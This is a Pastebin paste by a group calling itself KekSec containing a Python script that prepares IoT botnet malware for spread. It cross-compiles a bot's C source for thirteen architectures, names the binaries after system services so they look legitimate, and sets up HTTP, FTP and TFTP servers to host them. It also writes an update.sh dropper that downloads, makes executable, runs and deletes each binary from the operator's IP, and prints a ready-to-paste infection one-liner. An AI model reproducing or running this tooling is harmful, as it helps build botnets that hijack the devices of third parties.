KekSec

Busybox cc7.py

Apr 19th, 2017
1,236
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.18 KB | None | 0 0
  1. #Python auto cross compiler by void
  2.  
  3. import subprocess, sys
  4.  
  5. if len(sys.argv[2]) != 0:
  6. ip = sys.argv[2]
  7. else:
  8. print("\x1b[0;31mIncorrect Usage!")
  9. print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  10. exit(1)
  11.  
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16. get_arch = True
  17. else:
  18. get_arch = False
  19.  
  20. compileas = ["ntpd", #mips
  21. "sshd", #mipsel
  22. "openssh", #sh4
  23. "bash", #x86
  24. "tftp", #Armv6l
  25. "wget", #i686
  26. "cron", #ppc
  27. "ftp", #i586
  28. "pftp", #m68k
  29. "sh", #sparc
  30. "watchdog", #armv4
  31. "apache2", #armv5
  32. "telnetd"] #powerpc-440fp
  33.  
  34. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  35. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  36. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  37. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  38. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  39. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  40. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  41. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  42. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  43. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  44. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  45. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
  46. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
  47.  
  48. ccs = ["cross-compiler-mips",
  49. "cross-compiler-mipsel",
  50. "cross-compiler-sh4",
  51. "cross-compiler-x86_64",
  52. "cross-compiler-armv6l",
  53. "cross-compiler-i686",
  54. "cross-compiler-powerpc",
  55. "cross-compiler-i586",
  56. "cross-compiler-m68k",
  57. "cross-compiler-sparc",
  58. "cross-compiler-armv4l",
  59. "cross-compiler-armv5l",
  60. "cross-compiler-powerpc-440fp"]
  61.  
  62. def run(cmd):
  63. subprocess.call(cmd, shell=True)
  64.  
  65. if get_arch == True:
  66. run("rm -rf cross-compiler-*")
  67.  
  68. print("Downloading Architectures")
  69.  
  70. for arch in getarch:
  71. run("wget " + arch + " --no-check-certificate >> /dev/null")
  72. run("tar -xvf *tar.bz2")
  73. run("rm -rf *tar.bz2")
  74.  
  75. print("Cross Compilers Downloaded...")
  76.  
  77. num = 0
  78. for cc in ccs:
  79. arch = cc.split("-")[2]
  80. run("./"+cc+"/bin/"+arch+"-gcc -static -o " + compileas[num] + " " + bot + " > /dev/null")
  81. num += 1
  82.  
  83. print("Cross Compiling Done!")
  84. print("Setting up your lighttpd and tftp")
  85.  
  86. run("apt-get install lighttpd -y")
  87. run("service httpd start")
  88. run("apt-get install xinetd tftpd tftp -y")
  89. run("apt-get install vsftpd -y")
  90. run("service vsftpd start")
  91.  
  92. fh=open("/etc/xinetd.d/tftp", "w")
  93. fh.write('''service tftp
  94. {
  95. protocol = udp
  96. port = 69
  97. socket_type = dgram
  98. wait = yes
  99. user = nobody
  100. server = /usr/sbin/in.tftpd
  101. server_args = /tftpboot
  102. disable = no
  103. }''')
  104. fh.close()
  105.  
  106. run('mkdir /tftpboot')
  107. run("chmod -R 777 /tftpboot")
  108. run("chown -R nobody /tftpboot")
  109.  
  110. fh=open("/etc/vsftpd.conf", "w")
  111. fh.write('''listen=YES
  112. local_enable=NO
  113. anonymous_enable=YES
  114. no_anon_password=YES
  115. write_enable=NO
  116. anon_root=/var/ftp
  117. anon_max_rate=2048000
  118. xferlog_enable=YES
  119. listen_address='''+ ip +'''
  120. listen_port=21''')
  121. fh.close()
  122.  
  123. for i in compileas:
  124. run("cp " + i + " /var/www/html")
  125. run("cp " + i + " /var/ftp")
  126. run("cp " + i + " /tftpboot")
  127. run("mv " + i + " /var/lib/tftpboot")
  128.  
  129. run('echo "#!/bin/sh" > /var/www/html/update.sh')
  130. run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /" >> /var/www/html/update.sh')
  131.  
  132. for i in compileas:
  133. run('echo "wget http://' + ip + '/' + i + '; busybox wget http://' + ip + '/' + i + '; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; busybox ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; tftp -r ' + i + ' -g ' + ip + '; busybox tftp -r ' + i + ' -g ' + ip + '; chmod 777 ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/update.sh')
  134. run("cp /var/www/html/update.sh /var/ftp")
  135. run("cp /var/www/html/update.sh /tftpboot")
  136. run("cp /var/www/html/update.sh /var/lib/tftpboot")
  137.  
  138. run("service xinetd restart")
  139. run("/etc/init.d/xinetd restart")
  140. run("service vsftpd restart")
  141. run("/etc/init.d/vsftpd restart")
  142. run("service lighttpd restart")
  143. run("/etc/init.d/lighttpd restart")
  144.  
  145. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  146. print("\x1b[0;32m" + 'Your link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/update.sh; busybox wget http://' + ip + '/update.sh; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; chmod 777 update.sh; ./update.sh; rm -rf update.sh\x1b[0m')
  147. print
  148. print("\x1b[0;32mCoded By Freak\x1b[0m")
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment